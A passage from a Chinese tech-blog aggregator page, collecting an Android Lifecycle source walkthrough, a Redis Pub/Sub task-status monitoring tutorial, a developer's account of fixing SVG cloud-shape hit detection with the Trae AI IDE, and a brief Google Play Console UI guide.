            if (!newEventOccurred && newest != null && state > newest.value.state) {
                // 如果没有新事件发生,且 Lifecycle 当前状态大于最晚添加的观察者的状态
                // 调用 forwardPass 方法正向更新观察者状态
                forwardPass(lifecycleOwner)
            }
        }
        // 标记没有新事件发生
        newEventOccurred = false
        // 更新状态流的值
        _currentStateFlow.value = currentState
    }

    /**
     * 若需要,强制执行主线程检查
     * @param methodName 方法名,用于异常提示
     */
    private fun enforceMainThreadIfNeeded(methodName: String) {
        if (enforceMainThread) {
            check(isMainThread()) {
                ("Method $methodName must be called on the main thread")
            }
        }
    }

    /**
     * 内部类,用于存储观察者及其对应的状态,并处理事件分发
     */
    internal class ObserverWithState(observer: LifecycleObserver?, initialState: State) {
        // 观察者的当前状态
        var state: State
        // 包装后的 LifecycleEventObserver 实例
        var lifecycleObserver: LifecycleEventObserver

        init {
            // 将传入的 LifecycleObserver 转换为 LifecycleEventObserver
            lifecycleObserver = Lifecycling.lifecycleEventObserver(observer!!)
            // 初始化观察者状态
            state = initialState
        }

        /**
         * 向观察者分发生命周期事件
         * @param owner 当前的 LifecycleOwner
         * @param event 要分发的事件
         */
        fun dispatchEvent(owner: LifecycleOwner?, event: Event) {
            // 获取事件对应的目标状态
            val newState = event.targetState
            // 更新观察者状态为当前状态和目标状态中的较小值
            state = min(state, newState)
            // 调用观察者的 onStateChanged 方法处理状态变更
            lifecycleObserver.onStateChanged(owner!!, event)
            // 更新观察者状态为目标状态
            state = newState
        }
    }

    public actual companion object {
        /**
         * 为给定的 LifecycleOwner 创建一个新的 LifecycleRegistry 实例,该实例不会检查其方法是否在主线程调用。
         *
         * LifecycleRegistry 不是线程安全的:如果多个线程访问这个 `LifecycleRegistry`,必须在外部进行同步。
         *
         * 此方法的另一个可能用例是 JVM 测试,当没有主线程时可以使用。
         *
         * @param owner 所属的 LifecycleOwner
         * @return 新的 LifecycleRegistry 实例
         */
        @JvmStatic
        @VisibleForTesting
        public actual fun createUnsafe(owner: LifecycleOwner): LifecycleRegistry {
            return LifecycleRegistry(owner, false)
        }

        /**
         * 返回两个状态中的较小状态
         * @param state1 状态 1
         * @param state2 状态 2
         * @return 较小的状态
         */
        @JvmStatic

3.LifecycleOwner(生命周期拥有者)

LifecycleOwner 接口用于表示一个具有生命周期的对象。实现该接口的类可以提供一个 Lifecycle 对象,这个 Lifecycle 对象能够跟踪该对象的生命周期状态变化,并允许其他组件(如 LifecycleObserver)监听这些变化。简单来说,LifecycleOwner 就是一个生命周期的持有者,它将自身的生命周期暴露给外部,使得其他组件可以与之交互。

3.1源码分析
package androidx.lifecycle

import kotlinx.coroutines.CoroutineScope

public interface LifecycleOwner {

    public val lifecycle: Lifecycle
}
public val LifecycleOwner.lifecycleScope: LifecycleCoroutineScope
    get() = lifecycle.coroutineScope
    

3.2 实现了LifecycleOwner 的组件

LifecycleOwner实现类

总结

Lifecycle 是一个抽象类 提供了抽象方法和属性

  • 声明了添加和移除观察的方法
  • 声明了事件以及事件状态
  • 提供了一个生命周期的协程作用域
  • 声明了一个事件流
  • 声明了一个状态流

LifecycleRegistry继承了Lifecycle 实现了具体的功能

LifecycleOwner是一个接口,维护了一个Lifecycle的对象 Activity/Fragment 等控件通过实现LifecycleOwner 持有了Lifecycle 并创建了一个LifecycleRegistry 对象来分发其生命周期的状态

by 没有了遇见 at January 26, 2025 06:55 AM

oschina news project

PageForge 2025.1.1 发布 - 代码高亮与链接解析优化

我们很高兴地宣布 PageForge 2025.1.1 正式发布。PageForge 是一款现代化的静态页面生成与部署平台,致力于为用户提供从创建到部署的一站式解决方案。

新增功能

  • 集成代码高亮功能
  • 支持自定义 Prism 样式 CDN
  • 支持配置代码块行号显示

问题修复

  • 修复列表中链接显示异常 (#2)
  • 修复单链接解析失败问题 (#3)
  • 优化语言选择器位置显示

链接

后续计划

我们将继续完善功能,提升用户体验,欢迎社区贡献者参与项目开发。

反馈与支持

如果您在使用过程中遇到任何问题,请通过 GitHub Issues 向我们反馈。您的建议对我们至关重要!


此版本主要增强了代码展示功能,并修复了关键的链接解析问题。建议所有用户升级到此版本。

 

by 来源: 投稿 at January 26, 2025 06:53 AM

juejin career

Redis Pub/Sub 监控任务状态

1. 前言

在现代应用中,任务执行过程的实时监控至关重要,特别是在处理大量任务或需要高效通知系统的场景下。无论是用户提交的后台处理任务,还是自动化处理流程,及时了解任务的当前状态都能够显著提升用户体验和系统响应能力。Redis的发布/订阅(Pub/Sub)机制,作为一种高效的消息传递工具,可以帮助我们在任务状态变化时即时通知相关方。本文将详细介绍如何使用 Redis Pub/Sub 来进行任务状态的实时监控。

2. 什么是 Redis 的发布/订阅?

Redis 的发布/订阅(Pub/Sub)是一种消息传递机制,它允许应用程序或服务通过频道(Channel)发送(发布)和接收(订阅)消息。发布者将消息发送到频道,而订阅者监听该频道,接收并处理消息。 发布者(Publisher):发布消息到指定的频道。 订阅者(Subscriber):监听一个或多个频道,接收来自这些频道的消息。

3. 环境

  • Linux
  • Python3.8
  • MySQL
  • Shell
  • Redis_version:6.2.11

关于以上环境搭建的细节,这里暂不做详细说明

4.如何使用 Redis Pub/Sub 监控任务状态

在任务执行过程中,我们希望能够实时跟踪每个任务的状态,如“进行中”、“已完成”或“失败”等。通过 Redis 的发布/订阅功能,我们可以轻松实现这一目标。

4.1 发布任务状态

当任务的状态发生变化时,我们可以通过 Redis 发布一个消息,告知所有相关系统或服务该任务的最新状态。例如,某个任务开始执行、完成或失败时,我们将这些变化信息发布到 Redis 频道。

#!/bin/bash

python_folder="/home/linlee/py/活动看板etl"
file_list=("shop_dishes_amount_package_goods.py" "shop_dishes_amount_package_event.py")


# 任务属性
script_id='**********'  # 任务ID
script_name='活动看板etl'  # 任务name
schedule_time=$(date +"%Y-%m-%d")" 10:15:00"  # 调度时间
schedule_platform="dolphinscheduler"  # 调度平台


publish_script="/home/linlee/py/redis订阅者/publish_status.py"


for file_name in "${file_list[@]}"
do
    
    file="$python_folder/$file_name"

    
    if [ -f "$file" ]; then
        # 发布开始状态
        /usr/local/bin/python3.8 "$publish_script" "$script_id" "$script_name" "$schedule_time" "$schedule_platform" "start" "start_time"

        
        echo "***************start*************************"
        echo "Executing $file"

        
        /usr/local/bin/python3.8 "$file"

        # 发布完成状态
        /usr/local/bin/python3.8 "$publish_script" "$script_id" "$script_name" "$schedule_time" "$schedule_platform" "complete" "finish_time"

        
        echo "Finished executing $file"
        echo "***************end*************************"
    else
        
        echo "File $file not found. Skipping..."
    fi
done
import json
import sys
from datetime import datetime
import redis

# 连接到 Redis
client = redis.StrictRedis(host='*******', port=6379, db=0, decode_responses=True)

def publish_status(script_id, script_name, schedule_time, schedule_platform, status, time_key):
    """发布脚本状态更新到 Redis"""
    timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    message = json.dumps({
        'script_name': script_name,
        'script_id': script_id,
        'schedule_time': schedule_time,
        'schedule_platform': schedule_platform,
        'status': status,
        time_key: timestamp
    })

    client.publish('script_status', message)
    print(f"Script {script_id} {status} at {timestamp}...")

if __name__ == "__main__":
    script_id = sys.argv[1]
    script_name = sys.argv[2]
    schedule_time = sys.argv[3]
    schedule_platform = sys.argv[4]
    status = sys.argv[5]
    time_key = sys.argv[6]

    # 发布脚本状态
    publish_status(script_id, script_name, schedule_time, schedule_platform, status, time_key)

由以上脚本可以看出:

在通过 shell 脚本在 Linux 服务器上执行文件夹中的 Python 脚本任务之前,会首先调用 publish_status.py 中的 publish_status 方法,并将相应的 ETL 任务基本属性和 start 状态作为参数传入。在 publish_status.py 中,client.publish 会将任务的状态变更信息发布到 Redis 的 script_status 频道; Python 脚本任务执行之后complete 状态属性也会及时更新到script_status 频道。

4.2 订阅任务状态

我们希望某些系统或前端应用能够实时接收到这些任务状态的更新。因此,订阅者通过 Redis 订阅任务状态频道,接收并处理发布者发送的消息。

import redis
import json
import pymysql
from datetime import datetime

# 连接到 Redis 服务器
client = redis.StrictRedis(host='********', port=6379, db=0)

# 连接到 MySQL 数据库
db_connection = pymysql.connect(
    host='='*****'', 
    user='*****', 
    password='='*****'', 
    database='*****'
)

cursor = db_connection.cursor()


# 定义一个回调函数来处理接收到的消息
def handle_message(message):
    data = json.loads(message['data'])

    script_name = data.get('script_name')
    script_id = data.get('script_id')
    schedule_time = data.get('schedule_time')
    schedule_platform = data.get('schedule_platform')
    status = data.get('status')
    exec_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

    print(f"Received message: Script {script_id} is {status}")

    # 删除同一 script_id 的旧记录
    try:
        delete_query = """
            DELETE FROM script_statuses_redis WHERE script_id = %s
        """
        cursor.execute(delete_query, (script_id,))
        db_connection.commit()
        print(f"Deleted old data for script_id {script_id}")
    except Exception as e:
        print(f"Error deleting old data from database: {e}")
        db_connection.rollback()

    # 插入新数据到 MySQL 数据库
    try:
        insert_query = """
            INSERT INTO script_statuses_redis (script_name,script_id,schedule_time,schedule_platform, status, exec_time)
            VALUES (%s,%s, %s, %s,%s,%s)
        """
        cursor.execute(insert_query, (script_name,script_id,schedule_time,schedule_platform, status, exec_time))
        db_connection.commit()
        print(f"Inserted new data for script_id {script_id}")
    except Exception as e:
        print(f"Error inserting data into database: {e}")
        db_connection.rollback()


# 创建 pubsub 客户端并订阅 `script_status` 频道
pubsub = client.pubsub()
pubsub.subscribe('script_status')

# 监听并处理消息
try:
    for message in pubsub.listen():
        if message['type'] == 'message':
            handle_message(message)
except KeyboardInterrupt:
    print("Subscription stopped.")
finally:
    # 关闭数据库连接
    cursor.close()
    db_connection.close()

[Unit]
Description=My Redis and MySQL Service
After=network.target

[Service]
ExecStart=/usr/local/bin/python3.8 /home/linlee/py/redis订阅者/subscriber_redis.py
WorkingDirectory=/home/linlee/py/redis订阅者
Restart=always
User=root
Group=root
StandardOutput=journal
StandardError=journal

[Install]
WantedBy=multi-user.target
sudo systemctl daemon-reload
sudo systemctl start subscriber_redis.service
sudo systemctl stop subscriber_redis.service
sudo systemctl status subscriber_redis.service

image.png

注册为服务后,任何脚本只需订阅 script_status 频道,并持续监听该频道的消息。一旦有新的任务消息变更,订阅者将立即处理这些消息(例如更新前端界面或发送通知)。在本案例中,处理逻辑为将数据插入数据库。

5.小结

通过 Redis 的发布/订阅机制,我们能够非常方便地实现任务状态的实时监控。这种方式不仅解耦了系统之间的依赖关系,还能确保任务状态能够即时传递给所有相关方,提升了系统的响应能力和用户体验。 无论是在后台任务管理系统,还是在用户交互中,Redis Pub/Sub 都能为你带来高效、实时的任务状态监控解决方案。如果你还有更好的其方案,欢迎随时交流。

by 闰土随言 at January 26, 2025 06:26 AM

juejin frontend

AI 辅助编程 :我的探索与反思

我正在参加Trae「超级体验官」创意实践征文,  本文所使用的 Trae 免费下载链接: www.trae.ai/?utm_source…

介绍

作为一名前端开发者,使用 AI 辅助开发也很长时间了,最开始使用纯 Chat 式的 AI 工具辅助问一些编程问题,写一些独立场景的代码(然后处理下放到项目里用),后面 Copilot 免费体验,我也体验到了借助 IDE 无缝衔接 AI 编程助手的能力,整体上还是有惊喜的,但是受困 Token 使用量的限制体验总是中断,更多的使用 Chat 的方式(Chat 是付费使用的),最近看到大家推荐 Trae,可以免费使用各种大模型,于是就下载下来试试看,正巧试着拿它解决下最近一直没解决的一个《云朵图形的边缘检测》的问题,这个问题困扰我一段时间了,以前也通过 Chat 的方式解决过好几次都没有解决,这次经过我痛定思痛借助 Trae 解决了,甚是欣喜,于是想着把这个问题解决的过程分享出来,然后最后增加了个人对 AI 辅助开发的一些想法,供大家分享和交流。

解决问题的过程不是很好介绍,我也有压力,怕介绍的糊里糊涂,因为有很多的前置背景,又涉及具体的领域业务,大家不感兴趣可以略过,可以直接看后面总结体验的部分。

ps: 后面介绍哪里的时候,有些提示词我认为我想的太简单了或者心里上太着急了,没有对问题进行有效拆解和分析,这样的提示词我都标红了或者有背景(浏览器和 APP 显示效果不同)。

案例背景一:云朵图形的边缘检测需求

这个问题是我们开源在线白板框架 Plait 中的一个问题,如何判定鼠标点击是否点击到了云朵图形的边缘,Plait 流程图中的很多图形第一版在做的时候点击的碰撞检测算法做的是粗粒度的,比如云朵图形(Cloud)只要点击了云朵所在的矩形内就认为选中了云朵(如下面三个黑点位置,这样的需求在实现的时候比较简单了):

Screen Shot 2025-01-24 at 12.14.06.png

但其实只有情况1(云朵边缘)才是准确选中云朵(当然可能需要设置一个容忍度的阈值),其余 2 种情况点击不可以直接选中云朵,下图所示最终实现的效果示意图:

第二次视频.gif

  1. 黑色点是我的鼠标点
  2. 绿色点是我找的鼠标点距离云朵图形的最近点
  3. 其余的红色和黄色点是我做的辅助验证点
  4. 如果黑色点和绿色点距离小于容忍阈值则认为鼠标点击了云朵

可以看出,最终的问题可以被拆解为:获取一个点(黑色点)距离云朵最近的点(绿色点)

案例背景二:云朵图形构建逻辑

下面这个函数是我们 Plait 流程图中基于位置信息构建云朵(Cloud)图形的逻辑:

draw(board: PlaitBoard, rectangle: RectangleClient, options: Options) {
    const rs = PlaitBoard.getRoughSVG(board);
    const divisionWidth = rectangle.width / 7;
    const divisionHeight = rectangle.height / 3.2;
    const xRadius = divisionWidth / 8.5;
    const yRadius = divisionHeight / 20;
    const svgElement = rs.path(
        `M ${rectangle.x + divisionWidth} ${rectangle.y + divisionHeight}
            A ${xRadius} ${yRadius * 1.2} 0 1 1 ${rectangle.x + divisionWidth * 2} ${rectangle.y + divisionHeight / 2}
            A ${xRadius} ${yRadius} 0 1 1 ${rectangle.x + divisionWidth * 4.2} ${rectangle.y + divisionHeight / 2.2}
            A ${xRadius} ${yRadius} 0 1 1 ${rectangle.x + divisionWidth * 5.8} ${rectangle.y + divisionHeight}
            A ${xRadius} ${yRadius * 1.3} 0 1 1 ${rectangle.x + divisionWidth * 6} ${rectangle.y + divisionHeight * 2.2}
            A ${xRadius} ${yRadius * 1.2} 0 1 1 ${rectangle.x + divisionWidth * 5} ${rectangle.y + divisionHeight * 2.8}
            A ${xRadius} ${yRadius / 1.2} 0 1 1 ${rectangle.x + divisionWidth * 2.8} ${rectangle.y + divisionHeight * 2.8}
            A ${xRadius} ${yRadius} 0 1 1 ${rectangle.x + divisionWidth} ${rectangle.y + divisionHeight * 2.2}
            A ${xRadius} ${yRadius * 1.42} 0 1 1 ${rectangle.x + divisionWidth} ${rectangle.y + divisionHeight}
        Z`,
        { ...options, fillStyle: 'solid' }
    );
    setPathStrokeLinecap(svgElement, 'round');
    return svgElement;
}

这里面涉及 SVG 的 M 指令(移动点)和 A 指令(用于绘制椭圆弧),用于构建云朵的计算逻辑,在最初我其实对于云朵构建的计算逻辑以及 A 指令的参数也不是很了解。

失败历程一:基于 Chat AI 助手

我的第一次的提示词是这样的:

[案例背景二中的代码段] 这是构建一朵云的 svg path 的逻辑,如果想实现一个点和这个云的边界是否碰撞的检测有什么思路,可以基于点和这个云的最短距离小于某一个值确认,该如何找寻这个最近的点。

AI 回答:

  1. 路径采样 ...
  2. 射线法 ...
  3. ...

ai 提供了几种方案并且给出了一些代码示例,然后一通分析利弊,然后它给出的示例的输入参数是一个 svg 元素,和这里需要的大相径庭,于是我告诉它具体的:

我没有路径的,只有计算路径的算法逻辑和 reactangle 的矩形框架,基于算法逻辑构建 path 然后还有经过 rough 构建最终的 svg path,所以需要通过构建 path 的算法和 rectangle 的数据作为参数检测是否碰撞,可以给一个推荐的具体实现

AI 回答:

它给出了一段具体的实现,我看了下思路差不多:

  1. 基于我之前提供的云朵绘制逻辑生成云朵路径上的采样点(generateSamplePoints)
  2. 然后基于采样点计算和目标点的最短距离

基于它提供的代码,我应用到项目中去试了下发现结果不理想:点击云朵的端点可以选中,但是点击云朵的边缘无法选中图形,于是我又提示 AI 助手:

现在测试在控制点上表现 ok ,但是在圆弧上无法击中,可以怎么改正下

ai 又提供一系列的优化思路,但是我感觉完全跑偏了,于是我想重新了解具体的技术细节就问 AI:

A 指令是画圆的指令吗,在 SVG 中

ai 给我解释了 SVG 中的 A 指令以及它的详细参数,于是我接着问 AI 助手:

基于这个构建圆弧路径的逻辑和你提的优化点击圆弧无法击中的问题方案,给我再写一个版本

这里 ai 的回答有些乱了,给了我一个不是我想要的版本,然后我提示它按照前面的参数及云朵计算逻辑结合在一起给我输出一个类似形态的代码,然后我试了最终结果,还是不行,于是就暂时搁置。

总结:

  1. 通过这次与 AI 的协作,我认可了它的一个思路:基于云朵绘制逻辑获取云朵上的取样点,然后计算取样点到目标点的最短距离,然后进行碰撞检测(虽然最终解决问题的时候没用这个思路,可能按照找个思路也可以跑通,也可能这是 ai 给出的一个跑偏的思路)
  2. 了解了 SVG 的 A 是绘制椭圆弧的,我的云朵其实由8个一个接一个的圆弧构成
  3. 这次花费时间接近2小时,最终结果是失败的

失败历程N:基于 Chat AI 助手

后面我择机又和 AI 助手进行了2、3次对话,每次花费半小时到2小时不等,最终结果均是失败(思路大致都是按照获取云朵边缘的取样点做的)。

期间我也在思考到底怎么解决这个问题,反思了下:

  1. 我可能需要更了解 A 指令绘制椭圆的细节
  2. 我可能要对问题 获取一个点(黑色点)距离云朵最近的点(绿色点) 的中间结果打一些日志或者绘制一些辅助元素做验证用。
  3. 这是一个复杂的问题,不要想着让 ai 一步到位给出正确的,需要对问题进行一些拆解。
  4. 额外想到对于一个点到一个标准椭圆上的最近的点 Plait 底层中其实已经提供了一个标准的函数( getNearestPointBetweenPointAndEllipse ),我可以换一种思路,看看能不能利用这个这个函数完成需求,因为云朵其实就是由8个一个接一个的半圆弧构成。

成功历程:基于 Trae AI

碰巧听说 Trae 发布,可以免费使用它提供的大模型,于是就用它试着重新解决下这个问题,因为心态上已经经过前面好几轮折磨了,所以这次就想着稳着点来,不能着急。

第一步:提取云朵生成逻辑

开始对话:

[TS cloud.ts 17-38] 提取一个纯函数(基于 draw 里面绘制云朵的逻辑),生成 A 指令需要的起点和终点,然后基于新提取的函数改造 draw

image.png

基于提示的代码片段和提示词,Trae AI 生成了一个新的函数 generateCloudPath 生成构建云朵的路径,和一个 CloudPathPoint 类型声明,整体做法符合预期,但是结果不是特别精准,没有完全理解对 SVG 中的 A 指令的所有参数,于是我接着提示 Trae AI:

A 指令还需要指定结束点,仔细理解其中一个 A 指令,改下

Trae AI 又改了一个版本,改了 CloudPathPoint 类型,支持了 endX endY 字段

interface CloudPathPoint {
    command: 'M' | 'A';
    x: number;
    y: number;
    xRadius?: number;
    yRadius?: number;
    endX: number;
    endY: number;
}

但是其实结果还是不对,于是我又提示 Trae AI:

*A 指令有以下参数一个不能错啊:

rx :椭圆的 x 轴半径。

ry :椭圆的 y 轴半径。

x轴旋转 :椭圆的旋转角度(以度为单位)。

大弧标志 :决定弧是否大于 180 度(1)或小于(0)。

小弧标志 :决定弧的方向(顺时针为 1,逆时针为 0)。

x 和 y :弧的终点坐标。*

这次 Trae AI 彻底把参数搞明白了(上面的提示词也是前面问 AI 了解的),最终生成了标准的 generateCloudPath 函数(返回值符合预期),也更正了类型声明 CloudArcPoint (原来叫 CloudPathPoint 类型):

interface CloudArcPoint {
    rx: number;
    ry: number;
    xAxisRotation: number;
    largeArcFlag: 0 | 1;
    sweepFlag: 0 | 1;
    endX: number;
    endY: number;
}

这次虽然 generateCloudPath 及 CloudArcPoint 声明是正确的,但是我发现它的云朵生成路径有一个明显的逻辑问题,原始代码中 A 指令的参数中的中间纯数字部分是 0 1 1,而 Trae AI 给出的逻辑却是 0 0 1,可以看下面的截图:

image.png

于是我问 Trae AI:

largeArcFlag 是 1 ?

这时 Trae AI 还比较嘴硬 😂😂:

image.png

有理有据的,我差点就信了,于是我强制让 Trae AI 帮我改下:

但是我实际发现 1 是正确的呀,帮我改下吧

image.png

于是 Trae AI 认怂了,改口,然后帮我改了代码。

于是我应用了这次修改,结果是正确了,过程虽然波折,但是第一次应用代码修改就成了(包括新增 generateCloudPath 函数和修改 draw 使用 generateCloudPath 函数),云朵图形的绘制效果符合预期。

ps: 最终接受代码修改的过程其实出了点小问题,应用完后代码结构乱了,于是我提示 Trae AI: 应用的不对,你帮我写一份完整的 cloud.ts 后直接替换吧 然后替换后的结果就是正确的。

第一步总结:

相比前面失败的历程,这个第一步其实已经算成功了,代码结构是有提升的(抽取了 generateCloudPath 函数),并且明确本次的修改是正确的,通过最终云朵的渲染效果可以验证这一点。

另外和前面直接让 AI 完成一个大的复杂的任务,这次在开始阶段就有意拆解复杂的任务,一步一步解决问题。

第二步:计算一个点到半椭圆最近点的函数

ps: 前面失败反思的时候提到过:Plait 在线白板框架底层有一个函数 getNearestPointBetweenPointAndEllipse 就是用来计算一个点到标准椭圆的最近的点,这里想利用这个函数试试看。

继续对话:

[math.ts 106-149] 基于这个函数和 generateCloudPath 可以提供一个基础函数用于获取一个点到半椭圆的最近点吗,参考 getNearestPointBetweenPointAndEllipse 或者你有更简单的实现

image.png

如上图的输出结构,这时 Trae AI 给出了一个通用的实现(但是参数不对),计算一个点到半椭圆的最近的点,没有结合 generateCloudPath 函数返回的结果,于是我就需提示 Trae AI:

[cloud.ts 25-112][cloud.ts 115-127] 这两个片段构建了一个云朵,最终 getNearestPointBetweenPointAndSemiEllipse 是想基于 generateCloudPath 返回的一个一个半椭圆片段接入,判定点到这个云朵的最近点,所以 getNearestPointBetweenPointAndSemiEllipse 的参数可以改下适应 CloudArcPoint 的类型输入

可以看看 Trae AI 给出的结果:

image.png

这次的结果还是比较理想的👍🏻👍🏻👍🏻:

  1. getNearestPointBetweenPointAndSemiEllipse 名称改为 getNearestPointBetweenPointAndArc,参数修改正确
  2. 顺便改造了 CloudEngine 的 getNearestPoint 函数,基于 generateCloudPath 生成的半椭圆路径和 getNearestPointBetweenPointAndArc 计算一个点到这个云朵的最近点(整个过程其实我没有提到 getNearestPoint,但是 AI 却准确理解到了)。
  3. 这里相当于我主动给了一个实现思路,使用 getNearestPointBetweenPointAndSemiEllipse 函数,与「失败历程一」ai 给出的思路不同,ai 直接理解到了这个思路,后续也是按照将云朵图形拆解成一个个圆弧然后计算给定的点距离每个圆弧的最近点的,然后比较每一个圆弧的最近点,得到最终距离云朵的最近点,所以说结果比较理想。
  4. 由此也完成新思路下代码使用上的闭环。

第三步:半椭圆弧最近点计算(再次陷入 AI 幻觉)

虽然 Trae AI 按照新的思路写了,并且代码也可以跑通,但是实际在探测一个点到半椭圆弧最近点的实现还是有问题,遇到了和「失败历程一」一样的问题,圆弧的端点可以检测到(下图红色的小点),半椭圆弧片段却无法找到最近点(红色点之间),结果如下图所示:

image.png

  1. 黑色点代表鼠标点
  2. 绿色点代表找到的距离圆弧最近的点,结果明显不对,它应该在贴在云朵的边缘
  3. 另外一个线索是:移动黑色的点,绿色点确实会跟着动,并且动的轨迹和半椭圆弧的轨迹比较相似

于是我提示 Trae AI 帮我纠正:

思路是对的,但是结果却不对,黑色的点是我要探测的点,绿色的点是我获取到的最近的,明显不对(把上面的图片也传给了 Trae AI)

image.png

试了下 Trae AI 返回的结果,还是会有一样的问题,于是我接着问:

① 还是不对,感觉是类似于半径出了问题,得到的结果构建的弧线在真正的弧线内侧

② 重新理解下 A 指令,看看哪里不对,还是出现类似的问题

③ 现在有点离谱了,完全找不到目标点了,得到的点跟目标点完全重合了,完全没有椭圆的逻辑了

image.png

image.png

image.png

这三段提示词我都标红了,因为我感觉和「失败历程一」一样,又陷入了 AI 幻觉中,没有实际推进问题的解决,有点沮丧了,于是就又暂停了一下。

第三步:半椭圆弧最近点计算(摆脱 AI 幻觉)

我痛定思痛,想着这个问题可能是计算最近点时构造的椭圆的中心点或者椭圆半径不太正确,因为 SVG 的 A 指令的参数(CloudArcPoint)其实不包含椭圆的中心点的,这个中心点可能是浏览器基于 CloudArcPoint 参数确定,我需要对中心点或者半径进行验证,于是就有了下面和 Trae AI 的对话:

现在只能感应到半弧的启动和终点,最终的思路没问题,但是找寻椭圆中线点以及椭圆 xy 半径的逻辑出现了问题,这样吧,把找寻椭圆中线点的逻辑单独拎出一个函数,我加一些 debug 用

image.png

然后我自己写 debug 代码单独把中心点绘制出来,发现出了问题,中心点的结果是 [NaN, NaN],于是让 Trae AI 改:

getEllipseArcCenter 函数获取的 center 是 [NaN, NaN]

image.png

这次 Trae AI 改对了,于是我 debug 出了每一段的椭圆的中心点,如下图黄色点所示:

image.png

看上去是对的呀,但是实际获取到的最近点还是不对的(就是上图的绿色的点),于是我又无脑的问了 Trae AI:

中心点是黄色的点,你看对吗(把上面的图片也传给了 Trae AI)

这里就不截图了,Trae AI 一通说明一通改,但是最终结果还是不对的,于是我接着问 Trae AI:

SVG A 指令构建椭圆时中心点是如何确定的

image.png

这次 Trae AI 给出了 A 指令构建椭圆弧中心点的计算逻辑并且顺手改了下代码实现,于是我也顺手应用了接受这次代码的修改,意外发生了,程序精确找到距离椭圆最近的点,如下图绿色点所示:

image.png

并且随着鼠标点的移动,绿色的最近点都贴云朵的边缘上,完美!

再次展示下效果:

第二次视频.gif

ps: 这次就成了还是挺意外、挺欣喜的

Trae AI 对话总结

想着写这篇文章,我又让 Trae AI 帮我总结了对话过程,如下图所示:

image.png

感觉还是挺到位。

ps: 截图没有截全,但是后面的不重要了。

Trae 整体体验

  1. 第一次使用 IDE 的 Chat,可以通过选择代码后跟 AI 交流,代码的更正可以直接应用到具体的代码位置,体验很好(体验 Copilot 时没有用这么深入)。
  2. 代码修改的准确率很高(只有一次「接受更改」后代码结构乱了),代码修改之前需要一个主动的 Accepted 的过程,相当于代码 Review,这点设计也是合理的。
  3. Trae 的代码对比看上去有些奇怪,跟我现在用的 VSCode 的结构不一致,可能是配置问题,我没有细研究。
  4. Chat 沟通的过程中可以传图片反馈结果,这点感觉非常好,虽然目前我不确定基于图片的反馈沟通精准度是怎么样、是否对我要解决问题起到作用,但是整个的过程体验法还是很欣喜的。
  5. 另外,Trae 的 UI 还是挺好看的,然后整个使用过程中(主要用 IED 的 Chat、还有选择代码片段添加到 Chat)交互很流畅,功能交互的设定符合我的第一直觉。
  6. 遇到的另外一个问题:选择代码段然后右键发现没有添加代码片段到 Chat 的入口,感觉很奇怪,最后发现当前的 Tab 不是文件查看模式,而是文件修改对比模式,不知道有没有可能优化。

Trae 通过图片反馈示意: image.png

AI 辅助开发的优势与局限(包括但不限于本次使用 Trae AI)

  1. AI 在处理一些重复性或者基础性工作方面可以做的很好,比如:下一步的意图判断(按 Tab 键就完事了)、类型提取、函数提取等等。
  2. AI 检查代码片段的基础逻辑问题,人经常犯的基础问题,有时代码不好直接调试,一眼看上没问题,AI 却可以一眼看出来并且给你纠正。
  3. 用过纯 Chat 的工具帮我写代码,也用过基于 IDE 的编程助手(Trae、Copilot),目前我体验的两者提供的体验都不错,都可以快速有效的帮我解决很多问题
  4. 虽然借助 AI 助手完成代码编写的开发方式高效,但并不总是轻松的,并不像网上很多人说的那样轻松,随随便便就可以写一个东西,比如:《我用半小时写了一个 XXX》,当然如果你要实现的是一个非常通用的东西,它确实也可以达到这个效果。
  5. AI 帮我写代码不轻松的地方在于,你需要快速理解并且准确判断它写的东西是否准确、思路是否正确,一旦它的思路出现了问题而你又没有发现(尤其是涉及基础知识的的时候),这个时候它能把你累死,它可以一直写一点不累,左一个想法、又一个思路的,你需要一直理解它的思路,然后一直试,可是结果就是不对,你会非常累和焦虑😭😭😭。
  6. 从我的心路历程看出现上面一条问题的根源在于,我不太想理解 AI 的实现细节(还有一种是涉及基础的知识确实不懂),想快速的解决问题,于是期望通过效果验证、情况说明等泛反馈让 AI 帮我快速修正问题,从前面分享的案例也可以看出来,前面几次与 AI 沟通交流都没有解决问题,出现这个问题我觉得我肯定有责任,轻敌了,没有驾驭好这个问题,当然作为我的结对编程 Partner,AI 助手多少也有些能力上的欠缺 😁😁😁。
  7. 前面说的可能就是 AI 幻觉的问题,掉入 AI 幻觉的陷阱(以往普通开发中可能也有类似的陷阱吧,比如不想深入了解细节,一直试,结果就是不对)这个问题非常严重,AI 并不知道自己错哪了,这在处理复杂问题时非常的常见,你需要对它进行精准的引导。
  8. AI 辅助开发并不是银弹,它现在更像一个有知识没想法的天才少年,你需要告诉它思路和方向,它才可以很好工作,假如完成的东西涉及一些理论知识你自己不了解,它又很难一次预判所有情况和场景,一次性写对,这就难办了,你就需要基于已有线索就理论知识进行深入沟通和学习,然后再给出判断和正确的反馈,这个过程其实也非常费脑子。
  9. 感觉和 AI 编程助手打交道也是要有耐心,也需要抱着学习的心态,复杂情况下它给出的代码也是需要一步一步的验证,给出合理精准的反馈,太着急反而不利于解决问题。
  10. 不过,得益于结合 IDE 的编程助手的出现,前面说的一步一步的验证过程,也可以让 IDE 助手帮实现,整体效率还是有很大提升的。

收尾

现在 AI 确实很强,AI 辅助开发也可以大幅度提升开发效率,但并不是银弹,结合 IDE 的 AI 助手则更方便,形容为自动挡的汽车有过这而无不及,但是离智驾还有一定的距离,大家有什么想法欢迎在评论区讨论。

另外,推荐一个我做的在线白板工具,目前支持了思维导图、流程图、画笔功能,功能不是特别强大,但是现有功能已经稳定了,近期正在找初期的种子用户,如果近期有画流程图、思维导图的需求可以试下,有什么问题也欢迎大家提出来,我快速改正。

体验地址: drawnix.com

仓储地址: GitHub - plait-board/drawnix: 开源白板工具(SaaS),一体化白板,包含思维导图、流程图、自由画等。All in one open-source whiteboard tool with mind, flowchart, freehand and etc.

顺便祝大家春节快乐!

by pubuzhixing at January 26, 2025 05:24 AM

juejin android

Google Play Console 后台新版UI 介绍

最近一段时间Google Play Console 后台推出了新版UI,本篇介绍了常用功能在新版UI下的位置说明。

1. Test and release

Production

单击Production,右侧顶部 有个 创建新版本-Create new release,即可进行创建新版本进行发布。

image.png

单击Production,中间 有个 Countries/regions,即可进行发布国家新增或修改。

image.png

App bundle explorer

单击 App bundle explorer,即可查看上传过的aab文件。

image.png

Setup

单击Setup 后,子菜单有个Advanced settings,里面可以进行下架等操作。

image.png

